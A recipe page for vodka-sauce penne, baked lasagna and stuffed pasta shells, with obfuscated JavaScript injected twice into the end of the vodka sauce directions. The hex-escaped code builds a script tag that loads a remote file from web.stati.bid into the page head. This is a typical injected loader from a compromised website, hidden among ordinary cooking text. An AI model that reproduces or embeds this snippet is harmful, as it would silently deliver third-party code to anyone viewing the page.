Pasta With Pink Vodka Sauce

INGREDIENTS:

1 lb. Penne Pasta
5 tbsp. unsalted butter
2/3 c. vodka
1/4 tsp. red pepper flakes
1 can (16 oz.) plum tomatoes, drained, seeded and pureed
1/2 tsp. salt
3/4 c. freshly grated Parmesan cheese
3/4 c. heavy cream

DIRECTIONS:

In large pot, cook pasta al dente. In a saucepan, melt butter over moderate heat, add vodka and hot pepper and simmer 2 minutes. Add pureed tomatoes and cream and simmer 5 minutes longer. Season with salt.
Drain cooked pasta and pour into pan with pink vodka sauce. Reduce heat to low, add cheese and mix thoroughly. Pour into heated bowl and serve at once. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el) var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Baked Lasagna

INGREDIENTS:

Sauce
3 pounds ripe tomatoes, chopped
2 carrots, peeled and chopped
2 garlic cloves, crushed
1 tablespoon chopped parsley
3 tablespoons tomato purée
1 large onion, peeled and chopped
3 stalks celery, chopped

DIRECTIONS:

Put all the ingredients into a large cooking pot. Cover and simmer for about 1 hour. Pass through a sieve; return to the pot, and season to your satisfaction. Continue to simmer until sauce has thickened. Just before using this sauce, stir in 2 tablespoons of olive oil and 2 tablespoons of butter.

Lasagna
3/4 to 1 pound lasagna noodles
Butter
1/2 pound mozzarella cheese
1/4 pound Italian sausage or
ground beef, coarsely chopped
2 hardboiled eggs, chopped
1 cup grated Parmesan cheese
1 cup ricotta or cottage cheese

Brown sausage or beef, then drain.

Boil lasagna noodles. Drain and put a layer in a well-buttered casserole dish. Add a layer of mozzarella cheese, then a layer of sausage or beef and a thin layer of hardboiled egg. Sprinkle with grated Parmesan and ricotta or cottage cheese. Moisten cheese with some of tomato sauce. Continue in layers, finishing with a good thick layer of grated Parmesan. Dot with butter and bake at 350 degrees F for about 30 minutes.

Serve with warm roll of garlic bread.

Stuffed Pasta Bake

INGREDIENTS:

12 jumbo shells, cooked and drained
1 1/2 c. ricotta cheese
1/2 c. Parmesan cheese
2 tbsp. seasoned dry bread crumbs
1 garlic, minced
1 tsp. parsley flakes
1 (15 oz.) jar spaghetti sauce
1 c. Mozzarella cheese

DIRECTIONS:

Combine ricotta, 1/4 cup bread crumbs, garlic and parsley. Mix well, spread 1 cup of sauce onto 6×10 inch baking dish. Fill each shell with approximately 2 tablespoons cheese mixture, place shells. Sprinkle with Mozzarella cheese. Cover. Bake at 350 degrees for 30-35 minutes. Serves 4-6.